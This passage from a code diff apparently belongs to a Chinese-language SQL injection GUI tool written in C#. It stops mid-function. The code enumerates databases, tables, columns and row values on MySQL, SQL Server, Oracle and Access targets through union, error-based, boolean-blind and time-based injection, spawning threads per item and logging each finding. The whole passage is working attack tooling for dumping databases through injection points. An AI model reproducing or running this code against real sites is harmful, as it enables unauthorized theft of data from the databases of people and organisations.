"UTF-8"))); + tables_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", tables_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByUnionByMySQL), sn); + } + break; + case DBType.SQLServer: + //获取当前数据库表数量 + tables_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.tables_count, dbName, "", ""); + result = getOneDataByUnionOrError(tables_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByUnionBySQLServer), sn); + } + break; + case DBType.Oracle: + //获取当前数据库表数量 + tables_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.tables_count, dbName, "", ""); + result = getOneDataByUnionOrError(tables_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,用户" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + //下标1开始 + for (int i = 1; i <= table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByUnionByOracle), sn); + } + break; + } + } + + /// + /// Error方式获取 + /// + public void getTabeleNameByError(DBType dbType, TreeNode tn) + { + //获取数据库数量 + String dbName = tn.Text; + List data_list = new List(); + String tables_count_payload = ""; + String result = ""; + int table_count = 0; + switch (dbType) + { + case DBType.Access: + MessageBox.Show("抱歉Access数据库不支持错误显示注入!"); + break; + case DBType.MySQL4: + MessageBox.Show("抱歉MySQL4数据库,不支持错误显示注入!"); + break; + case DBType.MySQL5: + //获取当前数据库表长度 + data_list.Add(MySQL5.tables_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8"))); + tables_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", tables_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByErrorByMySQL), sn); + } + break; + case DBType.SQLServer: + //获取当前数据库表长度 + result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.tables_count.Replace("{dbname}", dbName))); + //HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + for (int i = 0; i < table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByErrorBySQLServer), sn); + } + break; + case DBType.Oracle: + //获取当前数据库表长度 + result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.tables_count, dbName, "", "")); + + this.Invoke(new StringDelegate(log), "报告大侠,数据库" + dbName + "有" + Tools.convertToInt(result) + "个表!"); + table_count = Tools.convertToInt(result); + this.tableCount = table_count; + for (int i = 1; i <= table_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = tn; + sn.limit = i; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getTableNameValueByErrorByOracle), sn); + } + break; + } + } + + /// + /// 获取数据库列表 + /// + public void getDBS() + { + + switch (config.injectType) + { + case InjectType.Bool: + getDBSByBool(config.dbType); + break; + + case InjectType.Union: + getDBSByUnion(config.dbType); + break; + case InjectType.Error: + getDBSByError(config.dbType); + break; + case InjectType.Sleep: + getDBSByBool(config.dbType); + break; + + } + } + private void data_dbs_tsl_getDBS_Click(object sender, EventArgs e) + { + if (MyThreadPool.GetAliveThreadsCount() == 0) + { + //获取环境变量 + this.data_tvw_dbs.Nodes.Clear(); + if (this.cbox_basic_dbType.Text.Equals("Access")) + { + addDBToTreeList("Access"); + } + //检查注入配置 + if (checkConfig()) + { + //判断是否标记注入点 + if (isSetInjectPoint()) + { + status = 1; + this.currentThread = new Thread(getDBS); + this.currentThread.Start(); + } + + } + } + else + { + + MessageBox.Show("还有线程未结束,请稍后...."); + + } + + } + + /// + /// 获取当前数据库下的表 + /// + /// 当前数据库的TreeNode节点 + public void getTables(Object otn) + { + if (checkConfig()) + { + if (isSetInjectPoint()) + { + switch (config.injectType) + { + case InjectType.Bool: + getTabeleNameByBool(config.dbType, (TreeNode)otn); + break; + case InjectType.Union: + getTabeleNameByUnion(config.dbType, (TreeNode)otn); + break; + case InjectType.Error: + getTabeleNameByError(config.dbType, (TreeNode)otn); + break; + case InjectType.Sleep: + getDBSByBool(config.dbType); + break; + } + } + else + { + MessageBox.Show("请标记注入点!"); + } + } + else + { + MessageBox.Show("配置不完整,请检注入查配置!"); + } + } + + private void data_dbs_tsl_getTables_Click(object sender, EventArgs e) + { + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + if (tn.Checked && "dbs".Equals(tn.Tag)) + { + if (MyThreadPool.GetAliveThreadsCount() == 0) + { + tn.Nodes.Clear(); + status = 1; + this.currentThread = new Thread(new ParameterizedThreadStart(getTables)); + this.currentThread.Start(tn); + } + else + { + MessageBox.Show("还有线程未结束,请稍后...."); + } + } + } + } + + /// + /// 获取列明称,bool方式 + /// + /// 表的节点 + public void getColumnNameByBoolByMySQL(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + //判断当前表长度 + String data_payload = MySQL5.column_value.Replace("'{table}'", Tools.strToHex(sn.tableName, "UTF-8")).Replace("{index}", sn.limit + "").Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")); + int len = 0; + if (KeyType.Time.Equals(config.keyType)) + { + len = getValue(MySQL5.getBoolCountBySleep(MySQL5.bool_length.Replace("{data}", data_payload), config.maxTime), 1, 50); + } + else + { + + len = getValue(MySQL5.ver_length.Replace("{data}", data_payload), 1, 50); + } + + //判断当前数据库对应的ascii码 + String va_payload = MySQL5.ver_value.Replace("{data}", data_payload); + if (KeyType.Time.Equals(config.keyType)) + { + va_payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value.Replace("{data}", data_payload), config.maxTime); + } + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取列名称,bool方式 + /// + /// 表的节点 + public void getColumnNameByBoolBySQLServer(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + String data_payload = MSSQL.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName); + int len = getValueByStepUp(MSSQL.bool_length.Replace("{data}", data_payload), 0, 10); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + + if (Tools.convertToInt(unicodes.ToString()) > 255) + { + value += Tools.unHexByUnicode(int.Parse(unicodes.ToString()), config.db_encoding); + } + else + { + value += (char)Tools.convertToInt(unicodes.ToString()); + } + } + this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + /// + /// 获取列明称,bool方式 + /// + /// 表的节点 + public void getColumnNameByBoolByOracle(Object osn) + { + + try + { + SelectNode sn = (SelectNode)osn; + //判断当前表长度 + String data_payload = Oracle.column_value.Replace("{table}", sn.tableName).Replace("{index}", sn.limit + "").Replace("{dbname}", sn.dbname); + int len = getValue(Oracle.bool_length.Replace("{data}", data_payload), 1, 50); + + //判断当前数据库对应的ascii码 + String va_payload = Oracle.bool_value.Replace("{data}", data_payload); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + String tmp_va_payload = va_payload.Replace("{index}", i + ""); + int ascii = getValue(tmp_va_payload, 0, 128); + value += ((char)ascii).ToString(); + } + this.Invoke(new StringDelegate(log), "表" + sn.tableName + "发现列:" + value); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, value, "column"); + + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取列名,union MySQL + /// + /// + public void getColumnNameByUnionByMySQL(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + //获取数据库数量 + List data_list = new List(); + data_list.Add(MySQL5.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("'{table}'", Tools.strToHex(sn.tableName, "UTF-8"))); + String column_Name_data = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", column_Name_data)); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取列名,union MySQL + /// + /// + public void getColumnNameByUnionBySQLServer(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + + String column_Name_data = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.column_value, sn.dbname, sn.tableName, sn.limit.ToString()); + String result = getOneDataByUnionOrError(column_Name_data); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + + /// + /// 获取列名,union oracle + /// + /// + public void getColumnNameByUnionByOracle(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + + String column_Name_data = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.column_value, sn.dbname, sn.tableName, sn.limit.ToString()); + String result = getOneDataByUnionOrError(column_Name_data); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取列名时发生异常:" + e.Message); + } + } + + + public void getColumnNameByErrorByMySQL(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + //获取数据库数量 + List data_list = new List(); + data_list.Add(MySQL5.column_value.Replace("{index}", sn.limit.ToString()).Replace("'{dbname}'", Tools.strToHex(sn.dbname, "UTF-8")).Replace("'{table}'", Tools.strToHex(sn.tableName, "UTF-8"))); + String column_Name_data = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + String result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", column_Name_data)); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + public void getColumnNameByErrorBySQLServer(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.column_value.Replace("{index}", sn.limit.ToString()).Replace("{dbname}", sn.dbname).Replace("{table}", sn.tableName))); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + public void getColumnNameByErrorByOracle(Object osn) + { + try + { + SelectNode sn = (SelectNode)osn; + String result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.column_value, sn.dbname, sn.tableName, sn.limit.ToString())); + this.Invoke(new StringDelegate(log), "发现列:" + result); + this.Invoke(new addNodeToTreeListDelegate(addNodeToTreeList), sn.tn, result, "column"); + } + catch (Exception e) + { + + this.Invoke(new StringDelegate(log), "获取数据库名称时发生异常:" + e.Message); + } + } + + /// + /// 获取表下面的列 + /// + /// 数据库类型 + public void getColumnsByBool(DBType dbType) + { + + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + foreach (TreeNode ctn in tn.Nodes) + { + if (ctn.Checked && "table".Equals(ctn.Tag)) + { + ctn.Nodes.Clear(); + + String dbName = ctn.Parent.Text; + String tableName = ctn.Text; + int columns_count = 0; + switch (dbType) + { + + case DBType.Access: + checkColumnsDic(ctn); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + + if (KeyType.Time.Equals(config.keyType)) + { + columns_count = getValueByStepUp(MySQL5.getBoolCountBySleep(MySQL5.columns_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8")).Replace("'{table}'", Tools.strToHex(tableName, "UTF-8")), config.maxTime), 0, 20); + } + else + { + columns_count = getValueByStepUp(MySQL5.bool_columns_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8")).Replace("'{table}'", Tools.strToHex(tableName, "UTF-8")), 0, 20); + } + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByBoolByMySQL), sn); + } + break; + case DBType.SQLServer: + columns_count = getValueByStepUp(MSSQL.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByBoolBySQLServer), sn); + } + break; + case DBType.Oracle: + columns_count = getValueByStepUp(Oracle.bool_columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName), 0, 20); + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "发现" + columns_count + "个列!"); + for (int i = 1; i <= columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByBoolByOracle), sn); + } + break; + } + + } + } + } + + } + + /// + /// 获取表下面的列 + /// + /// 数据库类型 + public void getColumnsByUnion(DBType dbType) + { + + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + foreach (TreeNode ctn in tn.Nodes) + { + if (ctn.Checked && "table".Equals(ctn.Tag)) + { + ctn.Nodes.Clear(); + String dbName = ctn.Parent.Text; + String tableName = ctn.Text; + List data_list = new List(); + String columns_count_payload = ""; + String result = ""; + int columns_count = 0; + switch (dbType) + { + + case DBType.Access: + checkColumnsDic(ctn); + break; + case DBType.MySQL4: + + break; + case DBType.MySQL5: + data_list.Add(MySQL5.columns_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8")).Replace("'{table}'", Tools.strToHex(tableName, "UTF-8"))); + columns_count_payload = MySQL5.creatMySQLColumnsStrByUnion(config.columnsCount, config.showColumn, "1", data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.union_value.Replace("{data}", columns_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByUnionByMySQL), sn); + } + break; + case DBType.SQLServer: + columns_count_payload = MSSQL.getUnionDataValue(config.columnsCount, config.showColumn, 1, MSSQL.columns_count, dbName, tableName, ""); + result = getOneDataByUnionOrError(columns_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByUnionBySQLServer), sn); + } + break; + case DBType.Oracle: + columns_count_payload = Oracle.getUnionDataValue(config.columnsCount, config.showColumn, Oracle.columns_count, dbName, tableName, ""); + result = getOneDataByUnionOrError(columns_count_payload); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 1; i <= columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByUnionByOracle), sn); + } + break; + } + + } + } + } + + } + + + /// + /// 获取表下面的列 + /// + /// 数据库类型 + public void getColumnsByError(DBType dbType) + { + foreach (TreeNode tn in this.data_tvw_dbs.Nodes) + { + foreach (TreeNode ctn in tn.Nodes) + { + if (ctn.Checked && "table".Equals(ctn.Tag)) + { + ctn.Nodes.Clear(); + String dbName = ctn.Parent.Text; + String tableName = ctn.Text; + List data_list = new List(); + String columns_count_payload = ""; + String result = ""; + int columns_count = 0; + switch (dbType) + { + case DBType.Access: + MessageBox.Show("抱歉Access数据库,不支持错误显示注入!"); + break; + case DBType.MySQL4: + MessageBox.Show("抱歉MySQL4数据库,不支持错误显示注入!"); + break; + case DBType.MySQL5: + + data_list.Add(MySQL5.columns_count.Replace("'{dbname}'", Tools.strToHex(dbName, "UTF-8")).Replace("'{table}'", Tools.strToHex(tableName, "UTF-8"))); + columns_count_payload = MySQL5.creatMySQLColumnsStrByError(data_list, null, null, -1); + result = getOneDataByUnionOrError(MySQL5.error_value.Replace("{data}", columns_count_payload)); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByErrorByMySQL), sn); + } + break; + case DBType.SQLServer: + result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.columns_count.Replace("{dbname}", dbName).Replace("{table}", tableName))); + //HTML解码 + result = HttpUtility.HtmlDecode(result); + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 0; i < columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByErrorBySQLServer), sn); + } + break; + case DBType.Oracle: + result = getOneHexDataByUnionOrError(Oracle.getErrorDataValue(Oracle.columns_count, dbName, tableName, "")); + + this.Invoke(new StringDelegate(log), "报告大侠,表" + tableName + "有" + Tools.convertToInt(result) + "个列!"); + columns_count = Tools.convertToInt(result); + for (int i = 1; i <= columns_count; i++) + { + SelectNode sn = new SelectNode(); + sn.tn = ctn; + sn.limit = i; + sn.tableName = tableName; + sn.dbname = dbName; + MyThreadPool.initThread(new ParameterizedThreadStart(getColumnNameByErrorByOracle), sn); + } + break; + } + + } + } + } + + } + private void getColumns() + { + if (checkConfig()) + { + if (isSetInjectPoint()) + { + switch (config.injectType) + { + case InjectType.Bool: + getColumnsByBool(config.dbType); + break; + case InjectType.Union: + getColumnsByUnion(config.dbType); + break; + case InjectType.Error: + getColumnsByError(config.dbType); + break; + case InjectType.Sleep: + getDBSByBool(config.dbType); + break; + + } + } + else + { + MessageBox.Show("未标记注入点,请标记!"); + } + } + else + { + MessageBox.Show("注入配置错误,请检查!"); + } + } + private void data_dbs_tsl_getColumns_Click(object sender, EventArgs e) + { + + if (MyThreadPool.GetAliveThreadsCount() == 0) + { + status = 1; + this.currentThread = new Thread(getColumns); + this.currentThread.Start(); + } + else + { + + MessageBox.Show("还有线程未结束,请稍候...."); + } + + } + + /// + /// 获取数据 + /// + /// 列名集合List及limit等参数 + public void getDataValueByBoolByMySQL(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + + String data_payload = MySQL5.data_value.Replace("{dbname}", gp.dbname).Replace("{table}", gp.table).Replace("{limit}", gp.limit + ""); + + ListViewItem lvi = null; + + foreach (String columnName in gp.columns) + { + //取每一列的值 + + String payload_len = MySQL5.ver_length.Replace("{data}", data_payload).Replace("{columns}", columnName); + + if (config.keyType.Equals(KeyType.Time)) + { + payload_len = MySQL5.getBoolCountBySleep(MySQL5.bool_length.Replace("{data}", data_payload).Replace("{columns}", columnName), config.maxTime); + } + int len = getValueByStepUp(payload_len, 0, 50); + + + String va_payload = MySQL5.ver_value.Replace("{data}", data_payload).Replace("{columns}", columnName); + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + String tmp_va_payload = MySQL5.mu_value.Replace("{data}", data_payload).Replace("{index}", i + "").Replace("{columns}", columnName); + String plen = ""; + //是否判断多字节字符 + Boolean pLen_isMax = false; + if (config.isMuStr) + { + //开启多字节判断 + //转换对应值判断是否多字节字符 + plen = MySQL5.ver_length.Replace("{data}", tmp_va_payload); + if (config.keyType.Equals(KeyType.Time)) + { + plen = MySQL5.getBoolCountBySleep(MySQL5.bool_length.Replace("{data}", tmp_va_payload), config.maxTime); + } + pLen_isMax = findKeyInBody(plen, 2); + } + + //取值payload,替换对应下标值 + + //多字节字符 + if (pLen_isMax) + { + //MySQL采用hex + int mu_payload_len = getValue(plen, 2, 8); + int m_index = 1; + String[] ver_tmp = new String[mu_payload_len]; + while (m_index <= mu_payload_len) + { + //获取多字节 + int ascii = 0; + if (config.keyType.Equals(KeyType.Time)) + { + getValue(MySQL5.getBoolCountBySleep(MySQL5.bool_value.Replace("{data}", tmp_va_payload).Replace("{index}", m_index + ""), config.maxTime), 0, 128); + } + else + { + getValue(MySQL5.ver_value.Replace("{data}", tmp_va_payload).Replace("{index}", m_index + ""), 0, 128); + } + ver_tmp[m_index - 1] = ((char)ascii).ToString(); + m_index++; + } + //设置值,这里由于是hex值,需要转换 + value += Tools.unHex(Tools.convertToString(ver_tmp), config.db_encoding); + } + //单字节字符 + else + { + String payload = MySQL5.ver_value.Replace("{data}", data_payload).Replace("{columns}", columnName).Replace("{index}", i + ""); + if (config.keyType.Equals(KeyType.Time)) + { + payload = MySQL5.getBoolCountBySleep(MySQL5.bool_value.Replace("{data}", data_payload).Replace("{columns}", columnName).Replace("{index}", i + ""), config.maxTime); + } + + int ascii = getValue(payload, 0, 255); + + value += ((char)ascii).ToString(); + } + } + if (lvi == null) + { + lvi = new ListViewItem(value); + } + else + { + lvi.SubItems.Add(value); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + (gp.limit + 1) + "行的值!"); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + /// + /// 获取数据 + /// + /// 列名集合List及limit等参数 + public void getDataValueByBoolBySQLServer(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + + foreach (String columnName in gp.columns) + { + //取每一列的值 + String data_payload = MSSQL.getBoolDataPayLoad(columnName, gp.columns, gp.dbname, gp.table, gp.limit); + String payload_len = MSSQL.bool_length.Replace("{data}", data_payload).Replace("{columns}", columnName); + + int len = getValueByStepUp(payload_len, 0, 50); + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //取值payload,替换对应下标值 + //select UNICODE(substring(@@version,{index},1)) + //取值payload,替换对应下标值 + String unicode_data_payload = MSSQL.unicode_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String unicode_data_len_payload = MSSQL.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = MSSQL.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(MSSQL.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + + if (Tools.convertToInt(unicodes.ToString()) > 255) + { + value += Tools.unHexByUnicode(int.Parse(unicodes.ToString()), config.db_encoding); + } + else + { + value += (char)Tools.convertToInt(unicodes.ToString()); + } + } + if (lvi == null) + { + lvi = new ListViewItem(value); + } + else + { + lvi.SubItems.Add(value); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + + + /// + /// 获取数据 + /// + /// 列名集合List及limit等参数 + public void getDataValueByBoolByAccess(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + + foreach (String columnName in gp.columns) + { + //取每一列的值 + String data_payload = Access.getBoolDataPayLoad(columnName, gp.columns, gp.dbname, gp.table, gp.limit); + String payload_len = Access.bool_length.Replace("{data}", data_payload).Replace("{columns}", columnName); + + int len = getValueByStepUp(payload_len, 0, 50); + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + { + //asc有可能为负数,需要用65536减去这个数 + String unicode_data_payload = Access.unicode_value.Replace("{index}", i + "").Replace("{data}", data_payload); + //取unicode转换后的长度 + String unicode_data_len_payload = Access.bool_length.Replace("{data}", unicode_data_payload); + + //长度范围2-8支持大部分语言 + int unicode_data_len = getValue(unicode_data_len_payload, 1, 8); + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = Access.substr.Replace("{data}", unicode_data_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = getValue(Access.bool_value.Replace("{data}", substr_payload), 0, 9); + unicodes.Append(unicode.ToString()); + m_index++; + } + if (unicodes.ToString().StartsWith("0") && unicodes.Length > 1) + { + unicodes.Remove(0, 1); + unicodes.Insert(0, "-"); + } + + + int strnum = Tools.convertToInt(unicodes.ToString()); + if (strnum < 0) + { + strnum = 65536 + strnum; + + } + value += Tools.unHexByUnicode(strnum, config.db_encoding); + } + if (lvi == null) + { + lvi = new ListViewItem(value); + } + else + { + lvi.SubItems.Add(value); + } + + } + this.Invoke(new addItemToListViewDelegate(addItemToListView), lvi); + this.Invoke(new StringDelegate(log), "获取到第" + gp.limit + "行的值!"); + + } + catch (Exception e) + { + this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + } + } + + /// + /// 获取数据 + /// + /// 列名集合List及limit等参数 + public void getDataValueByBoolByOracle(Object opam) + { + try + { + + GetDataPam gp = (GetDataPam)opam; + + ListViewItem lvi = null; + + foreach (String columnName in gp.columns) + { + //取每一列的值 + String data_payload = Oracle.getBoolDataPayLoad(columnName, gp.columns[0], gp.dbname, gp.table, gp.limit); + String payload_len = Oracle.bool_length.Replace("{data}", data_payload).Replace("{column}", columnName); + + int len = getValueByStepUp(payload_len, 0, 50); + + String value = ""; + //获取值 + for (int i = 1; i <= len; i++) + 